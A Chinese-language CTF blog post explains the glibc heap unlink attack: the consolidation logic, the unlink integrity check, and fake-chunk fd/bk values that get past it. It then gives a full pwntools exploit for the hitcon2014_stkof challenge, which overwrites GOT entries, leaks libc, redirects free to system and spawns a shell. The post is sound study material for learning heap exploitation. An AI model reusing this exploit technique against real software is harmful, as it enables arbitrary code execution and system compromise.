Linux堆溢出漏洞利用unlink

这第一篇写了unlink,以前做题遇到unlink,exploit都是跟模板一样,比如说

遇见64位的题 fd=target - 0x18 bk=target - 0x10

​ 32 位的题 fd = target -0xC bk=target-0x8

那么为什么要这样做呢,往下看。

本文主要介绍如何利用堆内存溢出进行 unlink 攻击,进而实现任意代码执行。

1 Unlink

基本知识

unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。

unlink实际上就是把一个双向链表中的空闲块拿出来,然后与相邻的free chunk进行合并(可以向前合并也可以向后合并),从而因此触发漏洞

这里需要了解一下向前合并和向后合并

以当前的chunk为基准,将preivous free chunk合并到当前chunk称为向后合并,将后面的free chunk合并到当前chunk就称为向前合并。但这里的前和后都是指在物理内存中的位置,而不是fd和bk链表所指向的堆块。

向后合并源码

1
2
3
4
5
6
7
8
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
#define chunk_at_offset(p, s) ((mchunkptr)(((char*)(p)) + (s)))

修改当前chunk的指针,到前一个 chunk。堆内存中的第一个申请的chunk总是被设置为allocated的,即使它根本就不存在,也不会进行向后合并操作。

向前合并源码

1
2
3
4
5
6
7
8
9
10
11
12
13
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

#define clear_inuse_bit_at_offset(p, s)\
(((mchunkptr)(((char*)(p)) + (s)))->size &= ~(PREV_INUSE))

向前合并不修正P的指针,只增加size大小。
在合并后glbc malloc会将合并后新的chunk加入unsorted bin中,加入第一个可用的chunk之前,更改自己的size字段将前一个chunk标记为已用,再将后一个chunk的previous size改为当前chunk的大小。

unlink源码分析

这是一个单纯的不加保护的unlink

1
2
3
4
5
6
7
#define unlink(P,BK,FD){
FD=P->fd;
BK=P->bk;
FD->bk=BK;
BK->fd=FD;
...
}

这里引用一个ctfwiki的图片,非常经典

ruSwN9.png

unlink可以简单看作上面的代码部分,将链表中的P脱链,把之前P的下一个chunk与P的上一个chunk连接,使P离开链表。unlink 即为将 P 从链表中删除的过程。

但在较新版本的 glibc 中,为了缓解攻击者进行 unlink 攻击,在宏定义中加入了安全校验,使得利用难度加大,只能在特定条件下使用一些技巧绕过校验。

unlink的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define unlink(P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}c

其实加入的新的Unlink检查就是从双链表中去除一个节点p然后检查,p的前一个节点的下一个节点是不是p,p的后一个节点的的上一个节点是不是p。

那么我们如何绕过这层检验呢

unlink攻击利用思路

需要以下条件:

a) 程序中存在一个全局指针变量 ptr
b) ptr 指向的堆内存可由用户控制

具体步骤:

首先需要两个相邻的堆块,其中一个堆块空闲,一个堆块占用,释放占用的堆块,引发两个堆块合并。正常的空闲堆块链接在空闲链表中,我们无法控制其中的fd和bk指针,所以方法是伪造一个空闲的堆块。libc判断相邻堆块空闲的方法是通过本堆块的size字段。攻击者在ptr处伪造一个空闲的chunk p,根据ptr构造合适的地址覆盖chunk p的fd和bk

1.我们就malloc 两个堆块,大于0x80 因为小于就成了fastbin

2 伪造的是空闲堆块 然后就要设置一下 它的fd 和bk指针 下面有

3 需要注意的是 我们伪造空闲堆块 要注意 size的最后一字段为0 而且pre_size的大小要为上一字节的大小

怎么去构造伪造堆块的fd和bk

1
2
P->fd = ptr - 0x18
P->bk = ptr - 0x10

在执行 unlink p 时的指针操作如下:

1
2
3
4
5
6
1)FD = P->fd = ptr - 0x18;
2)BK = P->bk = ptr - 0x10;
// FD->bk = ptr - 0x18 + 0x18 = ptr;
BK->fd = ptr -0x10 + 0x10 = ptr;
// 由于 ptr 指向 P,可成功绕过指针校验

我们来解读一下,为什么FD = p -> fd = ptr - 0x18

​ 因为 FD->bk = ptr - 0x18 + 0x18 后面要加0x18

那为什么后面要加0x18呢

我们来看一下图

ruSGcV.png

到这里 unlink的原理就是讲完了 我们再总结一下,unlink无非就是在堆块合并时造成的任意地址读写漏洞,unlink只是一个机制,它通常是伴随着其他漏洞出现的 比如UAF 和 off by one 造成溢出才能修改chunk里的值

2 实战深入解析 Unlink

BUU的 hitcon2014_stkof

ctrl加f 搜一下

checksec 一下ruStnU.png

这里也并没有开启pie 说明got可以修改

ruSNBF.png

ruSJXT.png

程序中专门用来存放已分配的堆块的地址,那么我们的思路就来了 通过unlink 控制指针为got表 然后修改其中一个为puts 然后泄露libc地址

值得注意的是,本例中没有调用 setvbuf 函数设置缓冲区,所以在进行输入和输出时会申请缓冲区,我们可以调试看看:

ruSU74.png

在fgets函数调用前,堆还没有被初始化,当call完之后

ruSdAJ.png

可以发现,程序自动申请了数个空间作为输入缓冲区,当调用输出相关函数时,同样会设置输出缓冲区,注意不要让这些缓冲区干扰我们,可以先申请一定的空间,防止干扰。

先分配一个大一些的堆块,选择0x100,起到了占位的作用,可以自己申请小堆块试试看

这里申请了0x30和0x80

ruS0hR.png

由于程序没有设置缓冲区,导致在第一次调用输入、输出函数时,程序会自动申请空间作为缓冲区,将申请的第一个和第二个堆块分割,所以先申请一个堆块作为占位,防止堆块被分割,影响后续操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding:utf-8 -*-
#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./stkof')
sh = remote('node3.buuoj.cn',27832)
elf = ELF('./stkof')
strlen_got = elf.got['strlen']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
heap_ptr_addr = 0x0000000000602150

def add(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK')

def edit(index,size,content):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK')

def delete(index):
sh.sendline('3')
sh.sendline(str(index))
def show(index):
sh.sendline('4')
sh.sendline(str(index))
sh.recvuntil('OK')

#1,消耗内存碎片,使得后面的chunk可以相邻
add(0x1000)
#2
add(0x80)
#3
add(0x80)
#4
add(0x10)
edit(4,0x8,'/bin/sh\x00')

#伪造好fd和bk,然后伪造好chunk3的prev、size
fake_chunk = p64(0) + p64(0x81)
fake_chunk += p64(heap_ptr_addr - 0x18) + p64(heap_ptr_addr - 0x10)
fake_chunk = fake_chunk.ljust(0x80,'a')
edit(2,0x90,fake_chunk + p64(0x80) + p64(0x90))
#unlink
delete(3)
#现在可以控制堆指针了
payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
#修改strlen的got表为puts的plt表
edit(0,0x8,p64(puts_plt))
#泄露free的got表地址
show(1)
sh.recv(1)
free_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free的got表为system的地址
edit(1,0x8,p64(system_addr))
#getshell
delete(4)
sh.interactive()

先拿了一下h哥的代码 还有几个地方不懂 有时间再看看

参考文献:

  1. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/
  2. http://0x4c43.cn/2017/1231/linux-heap-memory-overflow-unlink-attack/
  3. https://blog.csdn.net/qq_35493457/article/details/105857572?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.control
  4. https://www.bilibili.com/video/BV1s7411N7rw
  5. https://blog.csdn.net/seaaseesa/article/details/105406240

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1204342476@qq.com

💰

×

Help us with donation